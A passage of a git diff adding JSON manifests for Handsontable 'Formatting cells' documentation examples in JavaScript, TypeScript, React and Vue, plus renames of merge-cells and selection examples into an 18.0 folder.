\"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.js.json new file mode 100644 index 00000000..fdab6fce --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.ts.json new file mode 100644 index 00000000..42e60f91 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5'],\n ],\n rowHeaders: true,\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example1.tsx.json new file mode 100644 index 00000000..55d174f1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/react/example1.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example2.tsx.json new file mode 100644 index 00000000..73aa4b5e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n registerRenderer('customStylesRenderer', (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example2.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example3.tsx.json new file mode 100644 index 00000000..8d5ed774 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example3.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example1.vue.json new file mode 100644 index 00000000..414701f0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example1.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example2.vue.json new file mode 100644 index 00000000..3e4efcc8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example2.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example3.vue.json new file mode 100644 index 00000000..83313126 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__formatting-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example3.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__merge-cells__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example2.tsx.json 